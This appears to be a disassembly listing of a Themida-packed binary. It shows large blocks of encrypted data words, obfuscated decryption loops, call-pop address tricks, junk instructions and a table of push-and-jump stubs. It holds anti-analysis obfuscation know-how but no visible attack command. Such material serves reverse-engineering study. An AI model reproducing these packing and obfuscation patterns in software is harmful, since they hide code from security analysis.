		dd 4D7D4177h, 52C24071h, 0BD7F6B64h, 8B8AC206h,	0C49AAB10h
		dd 0A919999Ah, 39FA906Dh, 0A4ED58B9h, 0DE1CAA30h, 0D61D928Ch
		dd 0C2D34DE7h, 61E0D1EDh, 50ACC5F1h, 0F6D9B6E0h, 48AA7914h
		dd 4C3945D8h, 94A2B1BEh, 19830h, 2090EE00h, 0EB5BDE55h
		dd 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h,	24FB9A0Ah
		dd 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 65A7F46h, 6021169Ch
		dd 56C624DCh, 0A31370BFh, 0C52B88D2h, 7E6C6155h, 0DB0BAB96h
		dd 57D8D903h, 989803E7h, 0A5169BF5h, 0FA23A294h, 831693F1h
		dd 45A8A10Ch, 0CB9DBD1Dh, 0ACh,	57C724DFh, 55C52A87h, 907E6C61h
		dd 67AF1FA3h, 86F65E0Ch, 0C1319210h, 1B7CFF34h,	0F75F8241h
		dd 0D1E1086h, 86F77198h, 42BFC10h, 0A8D8A812h, 0F10F2F96h
		dd 1D2E169Bh, 5FDDD678h, 0A9720AF7h, 0A28DB736h, 1B989B74h
		dd 25D9BFABh, 0D95AE9F5h, 58108B95h, 0B83A7747h, 0F476AD48h
		dd 7EE7F984h, 0FEF8B1BEh, 0CC76h, 0CC3CBA00h, 777FA29h
		dd 0D444C16Eh, 1E8EF241h, 0DA4AA877h, 742F5C3Bh, 40EF86F6h
		dd 79A64FBFh, 35EA8BFBh, 24AF46B6h, 7468B3Ah, 6425169Ch
		dd 56C624D8h, 0A31370BFh, 0EF5688D2h, 1086F2AAh, 72AA4051h
		dd 407D864Fh, 7058353Ch, 0B21A999Ah, 22D59D74h,	0A096B9EAh
		dd 35C03093h, 0BD81B185h, 0A12B1A06h, 64526316h, 47B7397Ah
		dd 950566A3h, 60D03300h, 0E715CF36h, 4DD418DAh,	96066562h
		dd 0D4565BFFh, 7A5D3264h, 0ABCF2FDEh, 0DB58323Ch, 0B5AEE858h
		dd 0DED3C333h, 0B6ABEB5Bh, 5FCFC737h, 0C7FEE5D8h, 0DB586F5Eh
		dd 73C08A6Bh, 9875A111h, 52C241F2h, 13E064h, 4FBC0000h
		dd 5BCA5A86h, 43883E61h, 74A7EA7Eh, 339D1FEh, 5ACA24F7h
		dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
		dd 66D65A47h, 52C24330h, 7AEA4F64h, 6568783Ch, 8900000Ch
		dd 0BA522424h, 4, 4245401h, 0E089505Ah,	405h, 4E88300h
		dd 5C240487h, 57240C89h, 0C781E789h, 4,	4EF81h,	3C870000h
		dd 1C895C24h, 4EC8124h,	89000000h, 0C1BB241Ch, 0B9298B5Ch
		dd 2FA6487Eh, 685BD929h, 5FEFh,	83242489h, 5B042404h, 8BA52h
		dd 0DA010000h, 89CD8955h, 0FF5A5D2Ah, 815B2434h, 4C4h
		dd 2434FF00h, 4C48359h,	0FA8749E9h, 5A60ABFFh, 1AF687B8h
		dd 0FFC50306h, 8456B7E0h, 237A8447h, 24C98C03h,	0EAC9944Ch
		dd 0AF3C4915h, 98BECA7Fh, 6F84D36Eh, 0CAD70529h, 0D2DDF54Eh
		dd 0AAAB5358h, 65BBE979h, 24EB22h, 8 dup(0)
		dd 0E9000000h, 0BDh
; ---------------------------------------------------------------------------


loc_5D919C:				; DATA XREF: Themida_:0057B45Co
		mov	[ebp+61AF744h],	esi
		mov	eax, [ebp+6152DB5h]
		mov	eax, [ebp+615096Dh]
		lea	esi, [ebp+61AF78Eh]
		lea	eax, [ebp+6184559h]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61AF794h
		cmp	dword ptr [ebp+6152DB5h], 1
		jnz	loc_5D9203
		push	dword ptr [ebp+61AF744h]
		mov	eax, [ebp+615096Dh]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_5D91FC
		mov	eax, 1
		jmp	loc_5D9243
; ---------------------------------------------------------------------------


loc_5D91FC:				; CODE XREF: Themida_:005D91ECj
		xor	eax, eax
		jmp	loc_5D9243
; ---------------------------------------------------------------------------


loc_5D9203:				; CODE XREF: Themida_:005D91D1j
		push	1Ch
		lea	esi, [ebp+61AF748h]
		push	esi
		push	dword ptr [ebp+61AF744h]
		mov	eax, [ebp+615096Dh] ; CODE XREF: sub_5D9272+18j
		xor	eax, 34812736h	; CODE XREF: Themida_:005D926Bj
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+61AF748h]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5D923E
		xor	eax, eax
		jmp	loc_5D9243
; ---------------------------------------------------------------------------


loc_5D923E:				; CODE XREF: Themida_:005D9231j
		mov	eax, 1


loc_5D9243:				; CODE XREF: Themida_:005D91F7j
					; Themida_:005D91FEj ...
		cmp	dword ptr [ebp+6152DB5h], 1
		jnz	loc_5D9257
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5D9259
; ---------------------------------------------------------------------------


loc_5D9257:				; CODE XREF: Themida_:005D924Aj
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5D9259:				; CODE XREF: Themida_:005D9252j
		lea	eax, [ebp+61AF76Dh]
		mov	[ebp+6151A2Dh],	eax
		call	sub_5D9272
		cld
		jle	short near ptr loc_5D9218+3
		in	eax, dx
		stosd
		xlat
		ror	dh, cl

; =============== S U B	R O U T	I N E =======================================



sub_5D9272	proc near		; CODE XREF: Themida_:005D9265p
		mov	dx, cx
		pop	esi
		call	loc_5D928D
		xor	edx, esp
		stc
		setalc
		xchg	eax, edi
		scasb
		test	ds:43875BD6h, dl
		cmp	[ecx-70h], edx
		repne jnz short	near ptr loc_5D9212+4
sub_5D9272	endp ; sp-analysis failed



loc_5D928D:				; CODE XREF: sub_5D9272+4p
		movsx	eax, dx
		pop	eax
		add	esi, 6D63h
		mov	dx, si
		mov	edi, 1B26h
		mov	bh, dl


loc_5D92A1:				; CODE XREF: Themida_:005D931Cj
		mov	ecx, [esi]
		mov	bx, ax
		sub	ecx, 68E6BF33h
		jg	loc_5D92B5
		mov	ax, dx


loc_5D92B5:				; CODE XREF: Themida_:005D92ACj
		xor	ecx, 33EFAA58h
		mov	dh, 44h
		sub	ecx, 33A5E0A1h
		push	ecx
		jmp	loc_5D92D7
; ---------------------------------------------------------------------------
		db 0B2h, 2Ch, 0Fh
		dd 7A8CA218h, 0A7C0D1C7h
		db 0E2h, 0F8h, 0D4h
; ---------------------------------------------------------------------------


loc_5D92D7:				; CODE XREF: Themida_:005D92C4j
					; Themida_:005D92F6j
		pop	dword ptr [esi]
		mov	ebx, 5EC10690h
		sub	esi, 9953B0Fh
		jmp	loc_5D92FB
; ---------------------------------------------------------------------------
		db 34h
; ---------------------------------------------------------------------------


loc_5D92EA:				; CODE XREF: Themida_:005D9327j
		insd
		pop	eax
		mov	esp, [edi]
		setalc
		test	[ebx], ecx
		in	eax, dx
		mov	byte ptr [ecx-5Ch], 72h
		jb	short near ptr loc_5D92D7+1
		stosb
		inc	ecx
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------


loc_5D92FB:				; CODE XREF: Themida_:005D92E4j
		add	esi, 9953B0Bh
		jmp	loc_5D9319
; ---------------------------------------------------------------------------
		mov	edi, 72997FA6h
		aad	6Eh
		retn
; ---------------------------------------------------------------------------
		dw 0D247h
		dd 0C2E2C11Eh, 0E4F3E0B1h
; ---------------------------------------------------------------------------
		cmpsd


loc_5D9319:				; CODE XREF: Themida_:005D9301j
		sub	edi, 1
		jnz	loc_5D92A1
		call	sub_5D9335
		jle	short loc_5D92EA
		inc	edx
		shr	byte ptr [esi+0], 0A0h
		inc	eax
		retf	9F94h
; ---------------------------------------------------------------------------
		dw 6EBh
; ---------------------------------------------------------------------------
		push	ecx

; =============== S U B	R O U T	I N E =======================================



sub_5D9335	proc near		; CODE XREF: Themida_:005D9322p
		mov	dx, di
		pop	ebx
		lea	ecx, [ebp+61AFA03h]
		push	0
		push	ebp
		call	sub_5D934A
		and	[ebp-3Dh], bl
sub_5D9335	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D934A	proc near		; CODE XREF: sub_5D9335+Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D934A	endp

; ---------------------------------------------------------------------------
		dw 0A643h
		dd 218D897Bh, 60061527h, 95292DB4h, 6150709h, 0CD85C761h
		dd 0CC061504h, 6A000071h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 742DC356h, 0F4377FA4h
		dd 0BF6677D1h, 85C799B1h, 6151115h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5D93B3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D93B3	proc near		; CODE XREF: Themida_:005D93ABp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5D93B3	endp

; ---------------------------------------------------------------------------
		db 0F7h
; ---------------------------------------------------------------------------
		stosb
		add	[ebp+6152A61h],	edi
		jns	loc_5D93E0
		jmp	loc_5D93E0
; ---------------------------------------------------------------------------
		lahf
		push	edx
		cwde
		rcl	dword ptr [ebp+esi+52h], 26h
		pop	cx


loc_5D93E0:				; CODE XREF: Themida_:005D93CBj
					; Themida_:005D93D1j
		push	dword ptr [ebp+6150009h]
		push	0
		push	ecx
		call	sub_5D93F1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D93F1	proc near		; CODE XREF: Themida_:005D93E9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D93F1	endp

; ---------------------------------------------------------------------------
		db 52h,	80h, 0F7h
		dd 89928945h, 150BF1BDh, 358D8906h, 0E8061522h,	8, 4B84D490h
		dd 9797C5ABh, 0C995FF5Fh, 66061502h, 6AF622BBh,	2195FF00h
		dd 8B06152Eh, 544DEBC0h, 3BCAA122h, 2E8BB10Fh, 4623C141h
		dd 9BB23EE0h, 0D4142C8h, 5AC2D53Eh, 3E991C9h, 2FDED5A2h
		dd 0C21F4CAEh, 0FBFBDCCh, 0B3980475h, 1BD07FA7h, 6CEBBDE0h
		dd 90C9FB1Eh, 665E581Ah, 809CF281h, 4C526BD1h, 35616EE3h
		dd 2E3A5ADDh, 2CE9h, 0B747A400h, 53000011h, 2, 8 dup(0)
		dd 0C3AE900h, 3B680000h, 0E9061AFCh, 0FFFB4E48h, 1AFD3868h
		dd 4E3EE906h, 0BB68FFFBh, 0E9061AFEh, 0FFFB4E34h, 1AFFB368h
		dd 4E2AE906h, 7468FFFBh, 0E9061B00h, 0FFFB4E20h, 1B023B68h
		dd 4E16E906h, 0D668FFFBh, 0E9061B02h, 0FFFB4E0Ch, 1B042C68h
		dd 4E02E906h, 2968FFFBh, 0E9061B05h, 0FFFB4DF8h, 91F38A6Bh
		dd 97B02E6h, 93F5887Eh,	0F81FCE8h, 9DEF8E84h, 5C4EA81Eh
		dd 0EBE4AF21h, 64473292h, 0E1CCB719h, 77742C9Ch, 23E4DA77h
		dd 73CBBAA7h, 0C7DE9F86h, 0AD3A432Ah, 0FABBA51Eh, 1806DBA1h
		dd 0A62C978Dh, 1C6CC26Bh, 25C211AFh, 539FFD49h,	79F019B3h
		dd 299ECC8Dh, 7E0F1CA7h, 0A1331186h, 24436948h,	0EE9D544Dh
		dd 0F84C70C3h, 0A7C56D0Eh, 0D4B2C13Bh, 0A7298285h, 1D0C6217h
		dd 6BEC9A8Ch, 486Ch, 99245E00h,	25A6CCB1h, 1EAF3C8Bh, 64310D2Ah
		dd 30AD3EDEh, 3A393009h, 3EDF1D3Ch, 0A3CA7FADh,	0DA605ECBh
		dd 0FAB353E2h, 296C564Fh, 0BFA729DCh, 4247C32Fh, 0B66BECF8h
		dd 0DDh, 0BDCDDA69h, 544DDD62h,	264C2558h, 0DE9F86A4h
		dd 0B2CBC451h, 352C02ABh, 0D2CBB298h, 5E495037h, 604F561Fh
		dd 6BC3BAB5h, 3898E5E0h, 430058EBh, 0F52A6747h,	0BF6AAD3Dh
		dd 60F8B90h, 6550D630h,	13FAAD3Eh, 14F7A286h, 0E0994069h
		dd 676910C9h, 0D5CCB19Ch, 7C6BBA76h, 53785482h,	0B71940B3h
		dd 0D05FAE0Ah, 412041F6h, 3E382BADh, 0AD3C1C1Fh, 0B9A6CC7Dh
		dd 0F2A390h, 8A800B7Dh,	1B84D1ADh, 6910AD3Ch, 233A432Ch
		dd 674DC36Ah, 65FA07D0h, 9D31AACh, 0CCC10000h, 3C34DFB1h
		dd 0CAC44F41h, 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h
		dd 80502D22h, 0EDDF9E95h, 72522B22h, 84D1AD9Ah,	10A723E2h
		dd 99242DA5h, 1CD5CCB1h, 28553756h, 8BF2DDA8h, 85F8F19Ch
		dd 89FD35DCh, 1D6CC43Bh, 0E20A300Eh, 9FCAB353h,	0DB791C06h
		dd 0FF6FA729h, 0F7B2F773h, 0E9466BECh, 78000000h, 0C7DE9F86h
		dd 2C35482Ah, 3EE3CC52h, 0A8F76ADh, 0B5C16F28h,	7AA20B4Eh
		dd 2A03AAB3h, 641910BDh, 0EADE943Dh, 631A10BDh,	0C5B8AF3Ah
		dd 0F63CF59Ch, 1E0D7057h, 1364310Dh, 685EAD3Eh,	721F4A15h
		dd 3037FF7Eh, 7563043h,	0C1AD3E14h, 136E9079h, 70998299h
		dd 206FC9CAh, 0C3732013h, 6F635425h, 0C0CF8E68h, 9CCDAD3Eh
		dd 739F9DD5h, 23B353D4h, 8F2996F6h, 0FD3B340h, 8FAD4179h
		dd 0CAC04DDAh, 0E6A3DACFh, 0D4B47D00h, 0D63A4329h, 0FA07B9D8h
		dd 0D6891DD4h, 0BE000008h, 35E0B0CDh, 0C550403Dh, 27D2B2CBh
		dd 0C34E3E3Fh, 5DDCACD1h, 0DE9F956Fh, 4F2E23EEh, 0DE9F927Dh
		dd 512C23EEh, 0CCAAA77Fh, 0A723E18Dh, 8628960Fh, 0AAF7D9A4h
		dd 1E47361Bh, 9994BF77h, 0EE770600h, 5201EE47h,	9E10427Fh
		dd 6B12F7A2h, 0AE1C6CC2h, 51DE9F86h, 7CB2CBC4h,	0B55E6E5h
		dd 35FBA085h, 0BAB5E096h, 0BC74C1C3h, 9A807E6Dh, 0C6B3531Eh
		dd 332A5337h, 0BE6BB47Ah, 0C02AA231h, 0ED689A7Dh, 9E2D1A45h
		dd 8AA95EF6h, 1E2D05C6h, 8B765627h, 43F8F3A4h, 0A31DE889h
		dd 0C7E7D3CAh, 0E22E6F39h, 0DDC8E054h, 6A6530A0h, 0DEB08A13h
		dd 0E42BEAF3h, 7B168FEEh, 33BEE796h, 38B63C41h,	0EF8778ACh
		dd 927C0983h, 73BB72EBh, 4090EDD8h, 116C62F3h, 3A432A69h
		dd 0AB431EADh, 263320Ch, 8312BEBh, 57AEA04Bh, 0F89E881Fh
		dd 322BEADFh, 4110EEFDh, 532E92DEh, 0CE665026h,	0DEAECFB6h
		dd 28413C33h, 0DED86DCBh, 2E92DEBFh, 0E6052CDDh, 0A80DC208h
		dd 0B837E234h, 5418530Bh, 501A7F95h, 74F65759h,	2EA2D8A1h
		dd 5BD827A1h, 9AFCEF5Bh, 435A0F3Ah, 92A23757h, 0AF43B32Eh
		dd 55BA7633h, 48B82F3h,	37340000h, 0AD3EDF1Ah, 3EEF3859h
		dd 0D3023BADh, 5001AD3Eh, 0B0AD3ECBh, 9B2AC918h, 87A4CAB3h
		dd 80FDE994h, 0FC0A30E9h, 0B353E072h, 0B8E5E152h, 0E4A729D8h
		dd 9018FC35h, 0CFC1015h, 753F195h, 4C410000h, 0BCB45F31h
		dd 4A44CFC1h, 0BEA65133h, 5042CDBFh, 0EEDC5B2Dh, 6D5F1E14h
		dd 0D0ADA2h, 6D5F1E15h,	0F2D2ABA2h, 4512D1Ah, 90A723E1h
		dd 9924AD25h, 20D9D0ADh, 45543B5Ah, 9A39304Dh, 417DD32Ah
		dd 94DD9408h, 3403E697h, 3E8E1B3Ah, 0A9D079ADh,	0BF79D6D1h
		dd 0DBD28370h, 5F5FCCA2h, 0B359888Ch, 0E37281A8h, 5F168FEEh
		dd 28413C32h, 36C5C971h, 0A2F14F9Eh, 3DADA985h,	5AE9AD39h
		dd 0F6DC0255h, 1837DE87h, 99E014B5h, 7508EB9Ah,	0FADAC4BDh
		dd 8A5C90D4h, 7650DF2Eh, 3E57538h, 56304330h, 3C37507h
		dd 3B5AE495h, 5903C375h, 0B5F1F2CAh, 5A1331C0h,	0F9413C2Fh
		dd 0FDEEFD2Ch, 0C2E25401h, 1A194003h, 0C2E27D1Ch, 44EA1F03h
		dd 2372CE1Dh, 82661704h, 0C0C933FBh, 0E409D81Dh, 2007B635h
		dd 8F3E6B5Dh, 0FF8EE499h, 179F7508h, 79556BD4h,	65B6E00h
		dd 54390000h, 0F4DCA729h, 927C0789h, 0F6EE99EBh, 987A0587h
		dd 5644E3E5h, 25A7D6BCh, 8808755Ah, 656716FDh, 0FACAB39Ah
		dd 0C492522h, 88A723E0h, 6CC4A51Dh, 211D0E1Dh, 0AD3EDE74h
		dd 611C1520h, 0ADE89148h, 9B0B9C4h, 60C6C031h, 88B353F6h
		dd 0C7FE9B9Bh, 6B9EA729h, 0B6AF5AC3h, 2049341Bh, 0C6DF9E95h
		dd 2B51462Bh, 0C1080016h, 0BDB5AC85h, 0A78FC32Fh, 0FDBB950Dh
		dd 0A13241AEh, 0C0D800C3h, 17254D52h, 0AD3EF343h, 0DCD6B663h
		dd 0AD3ECAB9h, 3ECA9BBAh, 6236C5ADh, 0C9FF4DDBh, 71CFBC72h
		dd 0C6290522h, 0E2B35965h, 8542E37h, 73A72456h,	0A7245621h
		dd 23F9846Bh, 3E06599h,	9A9C2EEBh, 0FA000005h, 99646419h
		dd 11FCCCB1h, 9B666617h, 0FFACAB3h, 0D170601Dh,	324B41DBh
		dd 0BBC2A752h, 324B3EC9h, 0BDC0A752h, 585653CBh, 0A723DF39h
		dd 0C494EA5Bh, 2B52396Ch, 926C7B32h, 0AD3EDEC3h, 62D1A8D1h
		dd 59D98F64h, 0C9CA79B3h, 58E35E9Eh, 99A0024Ch,	0EB423E47h
		dd 362FDA43h, 2AC9B49Bh, 971A499h, 6825A96Ah, 0AD64FD80h
		dd 0FDB40185h, 1ECF8E68h, 9CCDA724h, 0DF86F7F1h, 0CB66FF36h
		dd 4C3799E4h, 86851C61h, 0F36A13F7h, 930A7356h,	0B0DB93DAh
		dd 0BEA1C8B5h, 640D06B5h, 60FA25A2h, 0F0089C1Ah, 1B0888F5h
		dd 0B9B5826Ah, 0A7243B9Ch, 522851F8h, 0E757CADFh, 1612E6Bh
		dd 54010000h, 7759215Ch, 0E1D6CC4h, 540DDA30h, 1969FAB3h
		dd 0AE38AE40h, 815D042Dh, 0A7291FD2h, 0B28C189Eh, 4E28C716h
		dd 0AD3E4F88h, 681375A4h, 0CC69007Dh, 0FF2C9CE1h, 0DBDB5C4Eh
		dd 0AD3E4EBEh, 45022BDEh, 6BE1204Ch, 83502667h,	7D7976C5h
		dd 0B353D3D1h, 39253CEDh, 0A729C318h, 3F32E3D0h, 0C86E273Eh
		dd 0EDBA36AEh, 0AC6BECDAh, 1C522B21h, 456Ch, 6CC45E00h
		dd 91162037h, 2059E21Eh, 77262013h, 25AD3E5Bh, 0B7259F4h
		dd 9693DB92h, 535FA298h, 181742B3h, 4FFA836Dh, 534E2459h
		dd 0C0BDA954h, 0BC4AF0A9h, 0A7295E99h, 0D753DF4Fh, 6BEC7AD2h
		dd 9726h, 9F869800h, 482AC7DEh,	0A6A12C35h, 4C43CED7h
		dd 1655F31h, 0E9AD3EE4h, 0DA5DFCFAh, 0A3FAD3Eh,	3F3E2964h
		dd 0F948004Dh, 8264FCFAh, 1940B356h, 0F4896B1Ah, 98A44F7h
		dd 0DF37221h, 87346165h, 0E9EDFCA4h, 77165C28h,	9E74E895h
		dd 12FC1247h, 3D3F397h,	0CCC10000h, 3C34DFB1h, 0CAC44F41h
		dd 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h, 80502D22h
		dd 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723DCh,	97242DA5h
		dd 0B9004FAFh, 2F5E143Dh, 0C550403Dh, 63D1B3CAh, 51DE9F86h
		dd 0B6AFCEC4h
		dd 0A53037FFh, 83FAEFAAh, 376CDAAAh, 0AD3F5F16h, 3E5F3C5Dh
		dd 1D6CC4ADh, 58BB300Eh, 30D9B359h, 0F5EDA39h, 6AC42620h
		dd 11BCAD39h, 0F28B7F1Ah, 0C36B223Bh, 0D08D695Ah, 0CCAD2F62h
		dd 7A3975B7h, 4D24BEA9h, 0BD403024h, 55CCFA0Ah,	338B1h
		dd 6775C00h, 6617FB86h,	0C8B59B66h, 2C513DC8h, 0C2BBB15Ch
		dd 9B7563C2h, 39C4C4B9h, 0B05B2D50h, 39C4C4B9h,	0C55D2F4Eh
		dd 0DCAFEEC8h, 78EDA723h, 0DE9F860Ah, 3A432AC7h, 91C0BEADh
		dd 3AD3EDEh, 0BD492670h, 0E990CF35h, 38903D91h,	876E1203h
		dd 46EFE388h, 7581CDA9h, 6C9DB353h, 644809F5h, 16A0A729h
		dd 7D65229Eh, 87346BECh, 0FC1A7795h, 0ADE1990Eh, 3Eh, 376CC41Fh
		dd 0BB503B5Fh, 1F5E52DEh, 0CFA6CF86h, 5077B360h, 5BE72E08h
		dd 22181613h, 8EB3535Eh, 0E5C678FDh, 0DB934D20h, 0F4CED782h
		dd 0A729A1A1h, 0BF3BA747h, 6BECBDEAh, 0E50Eh, 9F86C000h
		dd 482AC7DEh, 1F07B635h, 491185Eh, 0E9949009h, 0B690A390h
		dd 0AD3EDEE7h, 0D38CF1E3h, 0DAD9D0A6h, 0DEB0EDC9h, 3DECAD3Eh
		dd 2A6F56F5h, 862F3647h, 7FE3DDAFh, 6BAD3EE3h, 0E38BF2DAh
		dd 33C0BDA8h, 0AAD0ADA2h, 9745B26h, 73A559EAh, 7E22290Ah
		dd 0E6A57530h, 0F33B85DAh, 52A11F6Ch, 7D59D9D5h, 0BC49B353h
		dd 17B2ABD2h, 4C224B32h, 0D9666613h, 3C412C5Fh,	0DBA28825h
		dd 0B620BC2h, 2374221Ch, 0F920AD41h, 14694BFAh,	0F9846617h
		dd 1D71C970h, 17FD8072h, 0FA07DF67h, 0E28E20D9h, 0B2000001h
		dd 41CCBCC1h, 0A9543449h, 43CEBEBFh, 0A752324Bh, 59D8B8C5h
		dd 0DAA38963h, 532A1FEAh, 0DAA38671h, 55281FEAh, 0D0AE9B73h
		dd 0A723DA81h, 862CA213h, 495AD9A4h, 3EDF306Dh,	75BD6CADh
		dd 0FE7F6611h, 6CC4408Eh, 5E495039h, 0A64F561Fh, 0E06660CFh
		dd 0FCB353E2h, 3A2FDE4Dh, 0D6731A43h, 0BAE58DF0h, 29DBADE0h
		dd 8B383BA7h, 0C6263661h, 0ED87AFF4h, 44B0F975h, 0C1486BECh
		dd 7A000000h, 0C7DE9F86h, 2C35482Ah, 59A8C3Fh, 1AEE9FF1h
		dd 4474EA54h, 0E7DEAD3Eh, 0EC9996h, 52DE47Dh, 6E0FF681h
		dd 0D12098F7h, 46D26462h, 5702B353h, 14C2BD8h, 0B40C615Dh
		dd 0A5CDB099h, 0E91C9421h, 2CE57C01h, 7557E605h, 0D8D46108h
		dd 85A6CCA5h, 40898EA9h, 101F4AADh, 1EE8F85h, 0ADF0DA52h
		dd 2E487533h, 16ACDB57h, 8FE8B6Bh, 0ED45EC75h, 81FCEE99h
		dd 709D99Bh, 3CCE4BFAh,	0E5h, 0CDBFBEAFh, 5D2F4E42h, 0CFC1BCB2h
		dd 53354844h, 0C9BBC2A8h, 0B0A27C6Ah, 1710FBCDh, 0B89B6666h
		dd 4D38C3C5h, 0CBC86030h, 23D9AEEBh, 777EEA7h, 0CCB19924h
		dd 37561CD5h, 0DDA82855h, 8B398BF2h, 0C7DE9F86h, 4A3A432Ah
		dd 0C6B7B05Dh, 56A52370h, 0D916DDD9h, 0EDFEB359h, 23E44411h
		dd 512950A7h, 0B13C6514h, 3AC5C7B6h, 47332A53h,	0BED02648h
		dd 859D159Fh, 611C0F8Ah, 0E8E89148h, 524B321Dh,	41AECFB7h
		dd 0B5E09D94h, 0EEA7BEBFh, 9D942148h, 0C26B12FCh, 66170E9Bh
		dd 3138452Bh, 0B4D1ACA4h, 0F93E7202h, 0E2CDE57Dh, 0A018C9Bh
		dd 40CBBB73h, 0ABB3845h, 0C14E5726h, 0E8779362h, 30062F48h
		dd 0E5893A39h, 0AEC4AA66h, 16C389B1h, 0ED000000h, 0D0AD9924h
		dd 695A20D9h, 0B6FE893Ah, 0ACBBD593h, 0BB73BAC3h, 0D8A586CDh
		dd 344944D1h, 0D4A9A02Dh, 364740CDh, 0CDB0A22Fh, 2A5339D4h
		dd 0CFAE9633h, 28553BD6h, 81FCF481h, 895304E8h,	4C381E3h
		dd 83000000h, 1C3304EBh, 241C3124h, 5C241C33h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 7668241Ch, 8900006Dh
		dd 0B9512404h, 73F4434h, 0DBB6B1BBh, 8BCB01FEh,	0C483240Ch
		dd 48B5404h, 4C48324h, 89DD8955h, 2C8B0868h, 4C48124h
		dd 8B000000h, 89502404h, 405E0h, 0C0830000h, 24048704h
		dd 241C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch
		dd 0FFFB4220h, 8F23D82Ch, 68CB9446h, 1B0633B8h,	0FFC50306h
		dd 96FC3AE0h, 1966C127h, 67BA661Fh, 0CC59F23Eh,	9AB47B4Dh
		dd 0F375BF5Ch, 0DAE944h, 0F01C0000h, 9CD76EDBh,	0C8C3CA45h
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h
		dd 0
		dd 9D744700h, 99E0E312h, 5Eh, 8	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DB5DF
; ---------------------------------------------------------------------------
		push	61B099Ch
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B0AA1h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B0B5Fh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B0CFEh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B0D83h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B0E4Ah
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B0EDAh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B0F57h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B1013h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B114Fh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B122Dh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B136Eh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B1467h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B15BBh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B16DEh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B1886h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B1943h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 98h
		dd 58C7AE1Eh, 978C69D9h, 60CFA616h, 8EA570E0h, 0C2D9BC2Ch
		dd 0E454D6C9h, 2D9D2211h, 0E959DB48h, 2494170Ch, 0ED588651h
		dd 169DFAA4h, 2476C647h, 0D59B5FC7h, 2ED4970Ah,	0A41F3D01h
		dd 1086137Dh, 0D13B2F00h, 0C0FDCA0Bh, 3D1A8AE8h, 0A2BCB061h
		dd 86FFFE23h, 0BEAC7D10h, 977EEE4Dh, 1F3F6F0Fh,	9BF66CA4h
		dd 0F620F116h, 0FAC52F28h, 7ECFD64h, 9342153Ch,	0E8C7D816h
		dd 427AA302h, 8C031693h, 0CDC52821h, 274B9DBDh,	5F000000h
		dd 3DB0BABh, 9BF5F040h,	7ABC8D16h, 93F1D2FBh, 0C9F49B16h
		dd 3BAB0829h, 2D6802FBh, 9DBD1CC0h, 0C448h, 0C7246400h
		dd 0C92A8757h, 8A605D59h, 0A313978Ch, 8DFD7E73h, 0AB1B9889h
		dd 0F788E7CAh, 21A21086h, 8FA81895h, 0AE814BE2h, 4B2A05DBh
		dd 0E151B2FFh, 132D8B5h, 96241282h, 19ACB2E2h, 169CE471h
